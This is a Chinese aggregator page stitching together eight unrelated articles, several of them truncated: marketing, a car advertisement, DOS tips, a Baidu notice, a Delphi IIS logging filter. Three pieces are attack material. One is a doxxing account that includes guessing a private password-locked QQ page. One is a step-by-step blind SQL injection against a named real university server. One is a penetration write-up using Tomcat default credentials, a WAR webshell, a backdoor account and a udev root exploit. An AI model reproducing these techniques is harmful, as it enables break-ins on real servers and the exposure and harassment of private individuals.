“yyuandd”通过精心收集,向本站投稿了8篇实例讲解人肉搜索的过程网站安全,下面就是小编给大家带来的实例讲解人肉搜索的过程网站安全,希望大家喜欢阅读!

篇1:实例讲解人肉搜索的过程网站安全
人肉过程:首先,目前的资料只有那个人的名字(打款时用),拍拍网店地址和他的手机号码,三个资料源。
1:通过拍拍地址,可以知道其QQ号码,根据相应链接和结合百度关键字,找到他的其他2个店面(淘宝和有啊);
2:根据名字,通过QQ校友和校内网,搜获得他的高中和大学信息,以及周围好友情况;
3:进入其QQ空间,空间已经加密,根据其相关资料,猜测密码成功,
发现留言板也有受害用户进去骂他说货不对版,看来此人人品确实有问题。加了那个QQ,了解他的被骗情况。
4:读了该人的几篇日志,发现此人已经就业,离校了,进了某工厂上班。
5:QQ空间相册有“上海一日游”的加密相册,那个人很懒,密码一样的…这个例子告诉我们,同一项事件的密码组不应该有关联。在相册获取到他本人的真实照片,长的很帅气,可人品不咋的。照片有了,这是最有力的吓唬。
6:变换关键字,用他的名字搭配手机号码在百度和Google两边并行搜索,百度没有结果,但是Google搜索到两个页面,那个人注册了阿里巴巴的个体经营联系资料。搜获到他的固定电话,也就是家里的电话。由此看来,Google比百度勤快。
7:根据固定电话,查询到其地址。另外,还搜索到两个当地的论坛,他也在那里推销望远镜,进去注册了论坛,查看他的资料,但是没有新资料搜获。
8:至此,人肉搜索基本结束了。
该骗子的姓名,生日,所在地,手机号码,固定电话,就读高中、大学,各店铺地址以及他的照片都出来了。下面的是他的近照,ps上马赛克,很…
(这里不提供照片)
7月20日更新:今天堂哥通过我搜索到的固定电话打过去,当事人老爸听了电话,知道事情后,训了他儿子一顿,后来,当事人承诺发货或者退款,并要求不要再往他家里打电话。至此,事件完满结束。
篇2:对一网站注入过程步骤的实例讲解
我都不知是什么时候写的了,这几天整理电脑时才翻出来,,看看思路吧,其它的没有什么价值,
========================================================
另外,为我这次过程分析更为真实,各读者更能较好地理解,故用真实IP分析
这次注入是真实的网站是:202.114.71.194/ 武汉大学环境法研究所,为此,望大家不要搞破坏,仅仅是为学习,如有什么意外的地方,概与本人无关。
========================================================
今天我主要是分分析的是SQL注入,但顺便也会对ACCESS的判断简单说说,并且提供一些网站安全
的建议。由于现在好多网站安上内容过滤的防火墙,然后编程人员稍加注意,另外管理员负责一点的话,我们是很难用这些漏洞的,还是那句话,只要防的时候你多动一下手的话, 可能也没有那么多的耐心在那你搞你了,唉,偏偏你就。。。。。。。。。
简单地说说注入,就是攻击者在IE中提交一些代码,而这些代码可能在加入查询时作为程序的一些语言的命令,就是加入后造成现在程序运行的与你原来的运行过程相背离,从而进行攻击。我这里今天讲的是SQL,所以你也得有一定的SQL语言的基础。另外就是要用到返回的错误的不同,而进行判断,所以你得把你的IE设定一下,工具--->Internet选项-->高级-->显示友好 HTTP错误信息前面的勾去掉。这样就会返回错误的提示了。
首先,可能大家也知,就是试试单引号’了。到202.114.71.194/的首页看一下吧,任意打开一个页面看看,我打开的是202.114.71.194/show.asp?ID=763' 返回的如下:
----------------------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/show.asp,行47
---------------------------------------------------------------------------------------
也许有人会说,你运气这样好,这个网站就能注入呀,呵呵,我是讲注入嘛,其实早就找到它有这个漏洞了的,今天为了给大家讲嘛就用它了-----------编程人员的一大失误
如果你搞另外的网站返回的是:
----------------------------------------------------------------------------------------
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=56'' 中。
/showdetail.asp,行8
----------------------------------------------------------------------------------------
这就是ACCESS的数据库了。
同时这一步中我们一般还要试试下面两个:
202.114.71.194/show.asp?ID=763%20and%201=1
202.114.71.194/show.asp?ID=763%20and%201=2
这第句显然成立的,返回的是202.114.71.194/show.asp?ID=763一样的,而第二句当然不成立返回是没有这页面。(这里的%20要是菜鸟不知的话,我说说,就是空格嘛)
第二步,在第一步中我们知道了它是用的ASP+SQL的,我们当然就是要找找它的管理员的用户名与密码了,要找这,当然要找到他是把这用户名与密码放在什么表名中的。那如何知道表名呢,主要是看源文件,还有就是猜了,大多是有规则的。同时还要找找他的管理入口哟,有一切可能的手段去找吧
可以猜一下如longin.asp,admin.asp,ad_login.asp,等,我猜到这个网站的入口是:
202.114.71.194/login.asp 其实眼快的话,也可看看它们网站的主页上不是有个管理入口吗?
还不用你去猜了-------管理员的一大失误
在这一次中,我们还要找到他的管理员表放在什么表中,试一下
202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20*%20from%20login)
在这你可以试一下把login换成user ,admin,等等猜一下,要是返回与这个页面是一样的话,那你就猜对了,
这个页面是202.114.71.194/show.asp?ID=763
第三步嘛,有了表名,当然就是猜表里的列了,一般这里是有3列吧,ID号,用户名,密码那就由下面的试了
202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20id%20from%20login)
202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20username%20from%20login)
202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20password%20from%20login)
经过N次的提交,终于找到了(做 也不容易呀,干苦力活)
我试出里边的用户列为user ,密码列为 password.
第四步嘛,来猜一下这个表中的有哪些ID号是存在的了,语句是
202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20id%20from%20login%20where%20id=1) 在这里你可以把这个ID=1换成ID=2,3,4,5.......试了
第五步,来猜用户名的长度了,
202.114.71.194/show.asp?ID=763and%20exists%20(select%20id%20from%20login%20where
%20len(user)=1%20and%20id=1)
这里要试的是len(username)=1 ,2,3,4......试到返回正确为止,这步较容易,最多试个10次左右吧我这次试出它的长度为7(当然我试的是ID=1的那个用户了)
第六步,来猜测它里边的用户名的各个组成字母了,呵,要不是字母,而是汉字可就惨了202.114.71.194/show.asp?ID=763%20exists%20
(select%20id%20from%20login%20where%20asc(mid(user,1,1))>110%20and%20id=1)
有时还可能用下边的来试
202.114.71.194/show.asp?ID=763%20exists%20
(select%20id%20from%20login%20where%20left(user,1)=a)
这里主要就是这样的试left(user,1)=a,b,c,d,........... 了
在这里,工作量可大着呢,我试了几个,就没有试了,好像这里能用一个程序实现的,只是我现在想不起在哪儿见过了,要是你在这里有更好的办法试的话,也请给我说说,教教我嘛,相互学习(呵呵,要是谁想要我这徒弟,我真是愿意)
最后一步,把USER换为password,把密码也搞出来了,,但我没有试出,还是工作量大,所以此文也就是简单介绍一下注入。
下面我就简单说一下,对此类问题一般如何防范了。
1、编程时把单引号等特殊符号过滤掉,同时可能的话,加上限定用户通过IE输入长度的控制这个可以由编程人员或都防火墙实现
2、管理员的事了,把管理入口改过没有规则的名字,加以隐藏掉,让攻击者找不到注入的地方特别是不要明目张胆的把管理入口放在主页,这不是明明白白的给攻击者说,来攻我这里吗 ?
3、可能的话,把管理入口那个页面删掉,这样虽然管理时是有点不方便,要用的时候再把把它传上去。这样就实现了没有入口。
好了,说了这么多,也应该算完了,要是文章中有什么不对的地方,希望你能够指出。
我的邮箱是anmeihong@sina.com 另外,就是本次文章中由于防读者就用去攻击这个网站,在其中
我有时把试出的正确结果换了一下的,还希望你不要搞破坏
篇3:实例讲解外贸企业网站提高转化率
如今的外贸网站多如牛毛,只要你熟悉几个开源cms,比如zencart套上模板就能轻松做一个外贸网站,在加上国内大部分站长朋友听闻外贸B2C 如何如何赚钱,便纷纷加入外贸的竞争大军中。例如笔者所在的nike鞋这一行业,就有大量国人建立的网站。然而,大部分沿袭国内的电商方法,单纯认为 B2C就是搜索引擎优化,这在海外推广只不过是一个小小的手段。当然,今天谈的不是推广方法的问题,排进搜索引擎前十的销量未必很好,很大一部分原因是不了解外国人购物心理,如何提高网站的转化率,如何迎合老外的购物需求是网站首先应该研究的。
1、网上购物的羊群效应
网络相比线下购物非常简单,动动鼠标就能解决的事情。因此,羊群效应在网购中的体现更加突出。当你看到人人都在买的时候,下意识里就会认为这个东西很好,群众的眼光是雪亮的,一个字:买!这个现象在国外电子商务中叫做“Social Proof”。例如大家在淘宝购物的时候,都会习惯性的点击按“人气”“销量”去排名,大家都买的东西肯定比新商品有优势。
因此,做外贸网站,记住下面的四个排名要素:
畅销商品 (most popular )
购买此商品的顾客同时也购买了XXX(customers who bought this also bought XXX)
全站热卖商品 (top seller)
客户评价最高商品 (testimonials)
如上图,我们在观察大龙网的页面设置就可以看出这一点,网站侧边栏列出了销售最火爆的几个婚纱款式,引导客户关注这些,顾客当然会想,大家都买了,肯定不会差到哪里去,
相比一个上架很久无人问津的商品,你会选择哪一个呢?
2、关注用户评价
电子商务的核心,能看到以往的用户评价,比线下更全面,比线下更具可比性,这是销售网站的优势。老外在上网购物的过程中会很熟练的去看评价怎么样。在这点上,你可以发现许多国外网站在做搜索引擎的标题是,都会把“review”加在商品名称的后面,因为在搜索商品时,客户就会去搜评价内容。
可以看下全美最大的购物网站亚马逊在商品页面的设置。除了很短的商品描述,接下来就是评价内容。
3、增加产品的稀缺性
每个人在错失一个机会时的痛苦感比得到一个机会大得多。电视购物为什么时刻强调“仅限前100名打进电话的观众”“现在已经有89名打进电话的关注,请抓紧时间”。呵呵,这样的电视购物广告相信大家都已经听腻了吧。没错,他们就是在利用人们对于稀缺商品的欲望。我们的网站也可以像这样:
For 1 Day only 仅限一天
Discount ends this day 只优惠到今天
看到下面的图片没,一个动态时间图片很好的激起了购买气氛。
4、多搞捆绑销售
大家总是在抱怨订单少,可是有没有想过在一个订单中增加购买量呢?比如自己在当当网上买书,本来只想买看中的一两本,结果总会超过预算。为什么?就是因为当当的捆绑销售,同类型的商品组合在一起,给你更多的折扣。一起买够划算,何乐而不为呢。
但是注意一点,商品不能乱捆绑。根据你的购买历史数据,把以往的客户购买清单拿出来对比,选取那些同时购买最多的商品,有价值的商品组合,这样才能有效增加单笔销售量。
以上就是自己对于外贸网站的一些经验,欢迎大家多多分享。
篇4:实例讲解利用迂回战术拿下某网站
什么是迂回攻击?我就来小介绍一下:通常我们攻击一个网站的时候,由于不了解网站源码结构,也没有常见的漏洞,我们就可以先找出这个网站源码的一些特征字符,然后利用google搜索和这个网站一样源码的站,要攻击的站可能没有漏洞,但是我们搜索到的站不一定没有漏洞,可能是配置上面的问题等,然后加以利用,成功得到shell以后我们就可以利用shell来查看网站的源码,然后再返回去攻击目标站点,这样就是我所谓的迂回了,当然也可以是社工网站管理员在其它网站或者是论坛上面的注册用户名和密码然后再回来测试目标站点,最终拿下目标站点就OK了,费话不多说了,下面就开始我今天的入侵渗透之旅了……
由于目标站点没有漏洞,配置上面的漏洞也没有,通过google搜索我找到一个和他一样源码的网站www.xxx.com:9999/wcm/loginpage.htm 然后进行了常用密码的猜解,但是也没有发现弱密码等漏洞,于是去掉wcm以及后面的,直接www.xxx.com:9999/ 结果发现是tomcat ,经测试用户名和密码为:admin/null 成功进入以后上传war木马,最后得到迂回攻击的网站的webshell 运行命令uname -a 得到服务器的内核版本Linux www.xxx.com 2.6.18-128.el5 #1 SMP Wed Jan 21 10:44:23 EST i686 i686 i386 GNU/Linux 由于linux的2.6内核出了一个udev本地溢出漏洞,首先看一下webshell的运行权限,命令id,结果人品爆发了uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t,是root权限,既然是root权限,那么我们可以通过webshell来建立一个用户,然后利用putty来连接,进行本地溢出提权……但是通过常用的useradd username添加的用户密码为空,如果想利用passwd username来设置密码的话,我们的webshell是无法输入密码的,我们就郁闷使用他的参数,-p来操作了,结果搜索运行如下命令:useradd -p $1$Bj.BPMBM$pr3Vte2A9DW6jCzljcZNT1 liang //-p 后面的一串字符串是我在虚拟机中添加用户,然后复制他的密码来做为这里的密码,这样我就成功添加一个用户liang 打开putty 然后输入用户名和密码,连接,一切ok,权限为$ 为普通用户,下面就利用udev的溢出来进行提权了,
我本来按照此文所写来进行溢出 www.waitalone.cn/post/466.html 结果不成功,经查实,可能是溢出代码有问题,于是我就直接打开www.milw0rm.com/exploits/8478 在putty中运行如下命令:
[liang@www ~]$ vi test 粘贴上面的代码
[liang@www ~]$ wq 保存并退出
[liang@www ~]$chmod 777 test 添加任意用户可执行权限
[liang@www ~]$ps ax|grep udev|grep -v grep|awk {'print $1'} 获得udev进程号,结果为479,然后减1作为test参数
[liang@www ~]$sh test 478 结果返回
sh-3.2$ 返回这个说明不成功,我们多试几次
sh-3.2$ sh test 478 这样我试了三次,还是不行
sh-3.2$ sh test 476 这次成功了,我看到了可爱的#,哈哈 人品爆炸了
然后vi /etc/passwd 把用户名liang的 uid和gid改为0,这样liang 就为root 权限了,哈哈。搞定收工!
篇5:实例讲解汽车安全技术的至关重要
还记得《甜蜜蜜》中骑着自行车载着张曼玉的浪漫场景吗?音乐响起、黎明骑着车、张曼玉飞身上车、摇摇晃晃的三角架车身、黎明不时有迅速捏住手刹的姿势,一连贯的简单画面,将70年代出生的两个人天荒地老的甜蜜爱情展现在我们面前。90年代初,我们的记忆大多被场面火爆以摩托赛车为主的港片塞满了,譬如《烈火战车》、《天若有情》等。而今,以汽车为主角的《变形金刚》、《汽车总动员》科技、智能元素充斥感染着我们的生活。
俄罗斯碰撞测试由此看出,随着时代的变迁,交通工具也由自行车、摩托车完成了向汽车的过渡。而汽车安全性能也不是仅仅自行车、摩托车方向舵上 “手刹”那么简单,而是集科技化、人性化、智能化于一体的结晶。汽车的安全性能已经超越了自身价格、配置、外型,成为主导消费者落单的最直接因素。5-10万的经济型家用轿车已经普及到了生活中,而往往驾驶汽车的人又是整个家庭的基石或顶梁柱,如果不选择安全性能高的汽车,忽略安全意识,在碰撞发生在一瞬间将无法避免,重大的车祸将波及并毁灭一个家庭的幸福。
可溃缩式方向盘漠视安全就意味着毁灭幸福,如何能让自己或家人得到最有效、最及时的安全保障,整车安全性能变得至关重要。那么衡量一辆汽车安全的标准是什么?
车身结构
5-10万的经济型家用轿车,往往是每个家庭的第一辆汽车。消费者总是经过多渠道打听、长时间权衡考虑后,才最终落单选定。他们喜欢稳重、大气而且又时尚的外型,因为整车看上去感觉十分扎实、耐用。力帆520外观设计风格按照空气动力学原理,满足消费者的审美需求,做出别具一格的原创型设计。全钢性的承载式笼型车身使力帆520整体线条流畅,独有的“田”字型吸能车身设计,能够在碰撞发生时有效吸收碰撞能量,并将其分散至车身各部位骨架,最大程度上减少驾驶室的变形程度,确保座舱乘员安全。同级车中最厚的0.8-1.2mm双面镀锌钢板、四车门内部均设有防撞杠,降低车门在发生侧碰时变形程度,增强车身钢性,
根据作用的不同,力帆520车身的关键部分选用了高强度钢、超高强度钢和特殊钢,提高车身强度,比如A、B、C柱上均使用了超高强度钢板,大大提高了车身强度,抗碰撞性能大幅提高。高强度的车身整体外型具备了钢筋铁骨内在品质,硬朗刚劲却不显得僵硬。力帆520高强度的合理车身结构也是其一次性通过俄罗斯碰撞测试的关键因素。
全车结构加强ABC柱核心技术
汽车安全性能在碰撞发生瞬间能充分发挥出来,还得依靠产品自身的强大的科技力量。产品强大的技术支持是领先于其他品牌最核心的竞争优势。对于家庭幸福而言,汽车的安全技术优势尤其重要。力帆520是力帆汽车先后斥资24亿,建立的代表国内汽车制造先进水平车间下线的首款产品。作为一款在全球同步上市的自主品牌,力帆520汲取了美国克莱斯勒汽车的技术理念和工艺水平,每一个零件都经过精心的调校和测试,严格遵循国际标准的质量体系,来保证自身的品质和安全性能。其11块外覆盖件完全符合美国通用汽车安全车身标准。
双安全气囊对于消费者来说,安全性能还在于车辆良好的操控性。力帆520采用国际先进的底盘技术,具备后轴随动转向功能,车辆在具备了行使的稳定性同时,又保证了良好的安全性。目前,富康、爱丽舍、赛纳等车型都拥有此项技术。让力帆520产品品质与合资品牌行驶安全性能不相上下。
田字形结构安全配置
现在5-10万的家用轿车用丰富来形容配置已不是亮点,甚至有部分车型丰富的配置等同于很多20-30万的车型。力帆520在配置方面以多项高于同级车的安全配置,树立了安全家轿的新标杆。比如力帆520是国内首款装配车载可视倒车雷达的经济型家用轿车,达到了中高档轿车的水准。车载可视倒车雷达利用安装在车尾部的摄像头和仪表台内的接收显示装置,可以给驾驶者提供直观的车尾障碍等实时影象,极大的提高了在驾驶过程中的安全性能。此外,还有可溃缩式方向盘、踏板、自动断油装置、ABS制动防抱死系统、EBD电子制动力分配系、儿童安全锁等安全配置,确保为驾乘者提供最先进的安全技术,打造全方位的安全保障。
衡量一部汽车的安全标准,必须把车辆安全品质放在首位,并且从汽车的价格、外形、配置进行多角度比较,充分考虑自己和家人在驾乘时的安全,最重要的是提高自身安全驾驶意识。否则漠视安全就是毁灭幸福!
篇6:典型dos命令实例讲解Windows安全
上期《似曾相识燕归来 我们无法抛弃的dos命令》,我们介绍了dos最常用的一些命令,本期主要介绍几个比较典型的操作实例,目的是让朋友们对dos有更深入的理解,这些操作在“纯dos”或“ms-dos方式”、“命令提示符”模式下均通过试验,
实例一:快速输出文件列表
如果你需要输出某一文件夹中的所有文件列表,先在dos下切换到该文件夹,然后键入“dir >temp.txt”命令,再打开temp.txt文件,包含创建日期、创建时间、文件大小等信息就清清楚楚显示在你面前了(如图1)。利用这一功能,我们可以也创建mp3文件的播放列表,命令格式如“dir *.mp3 >lb.m3u”。
实例二:批量重命名文件
如果在windows的“资源管理器”中对文件进行批量重命名,你会发觉这是一件十分麻烦的事。在dos下切换到相应的文件夹,键入“ren *.m3p *.mp
实例三:合并mp3/mpeg文件
切换到保存mp3歌曲或mpeg视频的文件夹,键入“copy /b 111.mp3+222.mp3 new.mp
实例四:快速删除文件夹
在dos窗口中切换到需要删除的文件夹的上级文件夹,例如需要删除“g: emp”下的“mp3”文件夹时,只要切换到“g: emp”文件夹,再执行“deltree mp
关 键 字:Windows安全
篇7:百度搜索新增网站安全提示功能
我在百度搜索时,发现百度在搜索结果中增加了网站安全提示功能,当网站可能被 入侵的时候,百度会在该网站标题的下面提示:“该网站可能因 侵入而存在安全风险”的标识,这也是继谷歌在搜索结果中增加恶意软件提示两年后,百度首次尝试在搜索结果中添加安全提示功能,
当我打开有问题的搜索链接后,并没有直接跳转到当前网站,而且直接转向百度的一个警告页面,并提示访问该网站可能出现的以下安全风险:
1. 安装恶意软件到您的电脑,引起中毒、文件丢失等问题。
2. 窃取您的账号、密码等重要个人信息,侵害您的人身、财产安全,
3. 通过欺诈、垃圾、弹窗等广告对您造成骚扰,影响您的上网体验。
这时用户可在该页面以选择“关闭该页面”和“继续访问”,相信大部分访客遇到这种情况,会直接选择关闭网站。这种结果对搜索用户很友好,可以让用户规避一些潜在的风险,但是对站长网站流量会有很大影响。
当网站被提示有风险了怎么办?现在为大家简单介绍下百度提供的解决方法:
参照百度“被黑网站站长帮助”定位并排除网站故障,如果您确认网站没有任何故障,请通过投诉中心向我们反馈,百度将在网站故障排除后的48小时内取消风险提示。
本文来源SEO博客,注明:www.lenry.cn
篇8:DELPHI编写IIS过滤器实例网站安全
Library BaGuaIISFilter;
uses
SysUtils,
Windows,Messages;
const
HTTP_FILTER_MAJOR = 1; { major version of this spec }
HTTP_FILTER_MINOR = 0; { minor version of this spec }
SF_MAX_USERNAME = 257;
SF_MAX_PASSWORD = 257;
SF_MAX_FILTER_DESC_LEN = 257;
{ SF_STATUS_TYPE }
SF_STATUS_TYPE = $8000000; { base value }
SF_STATUS_REQ_FINISHED = SF_STATUS_TYPE;
SF_STATUS_REQ_FINISHED_KEEP_CONN = SF_STATUS_TYPE + 1;
SF_STATUS_REQ_NEXT_NOTIFICATION = SF_STATUS_TYPE + 2;
SF_STATUS_REQ_HANDLED_NOTIFICATION = SF_STATUS_TYPE + 3;
SF_STATUS_REQ_ERROR = SF_STATUS_TYPE + 4;
SF_STATUS_REQ_READ_NEXT = SF_STATUS_TYPE + 5;
SF_NOTIFY_SECURE_PORT = $00000001;
SF_NOTIFY_NONSECURE_PORT = $00000002;
SF_NOTIFY_READ_RAW_DATA = $00008000;
SF_NOTIFY_PREPROC_HEADERS = $00004000;
SF_NOTIFY_AUTHENTICATION = $00002000;
SF_NOTIFY_URL_MAP = $00001000;
SF_NOTIFY_SEND_RAW_DATA = $00000400;
SF_NOTIFY_LOG = $00000200;
SF_NOTIFY_END_OF_NET_SESSION = $00000100;
SF_NOTIFY_ORDER_HIGH = $00080000;
SF_NOTIFY_ORDER_MEDIUM = $00040000;
SF_NOTIFY_ORDER_LOW = $00020000;
SF_NOTIFY_ORDER_DEFAULT = SF_NOTIFY_ORDER_HIGH;
SF_NOTIFY_ORDER_MASK = (SF_NOTIFY_ORDER_HIGH or SF_NOTIFY_ORDER_MEDIUM or SF_NOTIFY_ORDER_LOW);
type
PVOID = Pointer;
LPVOID = Pointer;
PCardinal = ^Cardinal;
SF_REQ_TYPE = (SF_REQ_SEND_RESPONSE_HEADER, SF_REQ_ADD_HEADERS_ON_DENIAL,
SF_REQ_SET_NEXT_READ_SIZE, SF_REQ_SET_PROXY_INFO);
Type
TFuncPlaceHolder = POINTER;
THTTP_FILTER_CONTEXT = record
cbSize : DWORD;
Revision : DWORD;
ServerContext : PVOID;
ulReserved : DWORD;
fIsSecurePort : BOOL;
pFilterContext : PVOID;
GetServerVariable : TFuncPlaceHolder; {TGetServerVariable;}
AddResponseHeaders : TFuncPlaceHolder; {TAddResponseHeaders;}
WriteClient : TFuncPlaceHolder; {TWriteClient;}
AllocMem : TFuncPlaceHolder; {TAllocMem;}
ServerSupportFunc : TFuncPlaceHolder; {TServerSupportFunc;}
end;
HTTP_FILTER_CONTEXT = THTTP_FILTER_CONTEXT;
PHTTP_FILTER_CONTEXT = ^HTTP_FILTER_CONTEXT;
TGetServerVariable = Function(var pfc : THTTP_FILTER_CONTEXT;
VariableName : PChar;
Buffer : LPVOID;
BuffSize : PCardinal) : BOOL;
StdCall;
TAddResponseHeaders = Function(var pfc : THTTP_FILTER_CONTEXT;
Headers : PChar;
Reserved : DWORD) : BOOL;
StdCall;
TWriteClient = Function(var pfc : THTTP_FILTER_CONTEXT;
Buffer : LPVOID;
dwBytes : LPDWORD;
Reserved : DWORD) : BOOL;
StdCall;
TAllocMem = Procedure(var pfc : THTTP_FILTER_CONTEXT;
cbSize : DWORD;
dwReserved : DWORD);
TServerSupportFunc = Function(var pfc : THTTP_FILTER_CONTEXT;
sfReq : SF_REQ_TYPE;
pData : PVOID;
ul1 : DWORD;
ul2 : DWORD) : BOOL;
StdCall;
THTTP_FILTER_RAW_DATA = record
pvInData : PVOID;
cbInData : DWORD;
cbInBuffer : DWORD;
dwReserved : DWORD;
end;
HTTP_FILTER_RAW_DATA = THTTP_FILTER_RAW_DATA;
PHTTP_FILTER_RAW_DATA = ^HTTP_FILTER_RAW_DATA;
TGetHeader = Function(var pfc : THTTP_FILTER_CONTEXT;
lpszName : PChar;
lpvBuffer : LPVOID;
lpdwSize : LPDWORD) : BOOL; StdCall;
TSetHeader = Function(var pfc : THTTP_FILTER_CONTEXT;
lpszName : PChar;
lpszValue : PChar) : BOOL; StdCall;
TAddHeader = Function(var pfc : THTTP_FILTER_CONTEXT;
lpszName : PChar;
lpszValue : PChar) : BOOL; StdCall;
THTTP_FILTER_PREPROC_HEADERS = record
GetHeader : TGetHeader;
SetHeader : TSetHeader;
AddHeader : TAddHeader;
dwReserved : DWORD;
end;
HTTP_FILTER_PREPROC_HEADERS = THTTP_FILTER_PREPROC_HEADERS;
PHTTP_FILTER_PREPROC_HEADERS = ^HTTP_FILTER_PREPROC_HEADERS;
THTTP_FILTER_AUTHENT = record
pszUser : PChar;
cbUserBuff : DWORD;
pszPassword : PChar;
cbPasswordBuff : DWORD;
end;
HTTP_FILTER_AUTHENT = THTTP_FILTER_AUTHENT;
PHTTP_FILTER_AUTHENT = ^HTTP_FILTER_AUTHENT;
THTTP_FILTER_URL_MAP = record
pszURL : PChar;
pszPhysicalPath : PChar;
cbPathBuff : DWORD;
end;
HTTP_FILTER_URL_MAP = THTTP_FILTER_URL_MAP;
PHTTP_FILTER_URL_MAP = ^HTTP_FILTER_URL_MAP;
THTTP_READ_FILTER_RAW_DATA = record
end;
HTTP_READ_FILTER_RAW_DATA = THTTP_READ_FILTER_RAW_DATA;
PHTTP_READ_FILTER_RAW_DATA = ^HTTP_READ_FILTER_RAW_DATA;
THTTP_FILTER_LOG = record
pszClientHostName : PChar;
pszClientUserName : PChar;
pszServerName : PChar;
pszOperation : PChar;
pszTarget : PChar;
pszParameters : PChar;
dwHttpStatus : DWORD;
dwWin32Status : DWORD;
end;
HTTP_FILTER_LOG = THTTP_FILTER_LOG;
PHTTP_FILTER_LOG = ^HTTP_FILTER_LOG;
THTTP_FILTER_VERSION = record
dwServerFilterVersion : DWORD;
dwFilterVersion : DWORD;
lpszFilterDesc : array [0..(SF_MAX_FILTER_DESC_LEN-1)] of Char;
dwFlags : DWORD;
end;
HTTP_FILTER_VERSION = THTTP_FILTER_VERSION;
PHTTP_FILTER_VERSION = ^HTTP_FILTER_VERSION;
procedure LogInfo (aStr : PChar);
const
LogFileName = 'c:\chtLog.txt';
Var
ds: TCopyDataStruct;
hd: THandle;
OutFile : TextFile;
begin
ds.cbData := Length (aStr) + 1;
GetMem (ds.lpData, ds.cbData ); //为传递的数据区分配内存
StrCopy (ds.lpData, PChar (aStr));
Hd := FindWindow (nil, '红盟八卦阵系统'); // 获得接受窗口的句柄
if Hd 0 then
SendMessage (Hd, WM_COPYDATA, 0,
Cardinal(@ds)) // 发送WM_COPYDATA消息
else MessageBox(0,'没有发现红盟八卦阵系统!','提示',0);
FreeMem (ds.lpData); //释放资源
AssignFile (OutFile, LogFileName);
If FileExists (LogFileName) then Append (OutFile) else Rewrite(OutFile);
Writeln (OutFile, aStr);
CloseFile (OutFile);
end;
Function GetFilterVersion(var pVer : HTTP_FILTER_VERSION) : BOOL; export; stdcall;
begin
try
pVer.dwFilterVersion := MAKELONG(0, 1);
StrPCopy(pVer.lpszFilterDesc, 'IIS过滤器 - IIS保镖');
pVer.dwFlags := (SF_NOTIFY_SECURE_PORT or SF_NOTIFY_NONSECURE_PORT or
SF_NOTIFY_URL_MAP or SF_NOTIFY_ORDER_DEFAULT or SF_NOTIFY_READ_RAW_DATA);
result := True;
except
result := False;
end;
end;
Function HttpFilterProc(var pfc : HTTP_FILTER_CONTEXT;
NotificationType : DWORD;
pvNotification : LPVOID) : DWORD; export; stdcall;
var
pvHTTP_FILTER_URL_MAP : HTTP_FILTER_URL_MAP;
pvHTTP_READ_FILTER_RAW_DATA : string;
Buffer : Array[0..1023] of Char;
BuffSize : DWORD;
HisAddress : String;
function OnUrlMap : DWORD;
begin
try
BuffSize := 1024;
pvHTTP_FILTER_URL_MAP := HTTP_FILTER_URL_MAP(pvNotification^);
TGetServerVariable (pfc.GetServerVariable) (pfc, 'REMOTE_ADDR', @Buffer, @BuffSize);
HisAddress := StrPas(Buffer);
LogInfo(pchar(
'客户IP : ' + HisAddress +
'URL : ' + pvHTTP_FILTER_URL_MAP.pszURL + ^M^J +
'路径 : ' + pvHTTP_FILTER_URL_MAP.pszPhysicalPath));
if Not CheckURL(pvHTTP_FILTER_URL_MAP.pszURL) then begin
result := SF_STATUS_REQ_ERROR;
end
else begin
result := SF_STATUS_REQ_NEXT_NOTIFICATION;
end;
except
result := SF_STATUS_REQ_ERROR;
end;
end;
function OnReadUserGet : DWORD;
begin
try
BuffSize := 1024;
pvHTTP_READ_FILTER_RAW_DATA := String(pvNotification);
TGetServerVariable (pfc.GetServerVariable) (pfc, 'REMOTE_ADDR', @Buffer, @BuffSize);
HisAddress := StrPas(Buffer);
LogInfo(pchar(
'客户IP : ' + HisAddress +
'URL : ' + pvHTTP_READ_FILTER_RAW_DATA + ^M^J ));
result := SF_STATUS_REQ_NEXT_NOTIFICATION;
except
result := SF_STATUS_REQ_ERROR;
end;
end;
begin
Case NotificationType of
SF_NOTIFY_URL_MAP : begin
result := OnUrlMap;
end;
SF_NOTIFY_READ_RAW_DATA : begin
result := OnReadUserGet;
end;
else begin
result := SF_STATUS_REQ_NEXT_NOTIFICATION;
end;
end;
end;
exports
HttpFilterProc,
GetFilterVersion;
end.











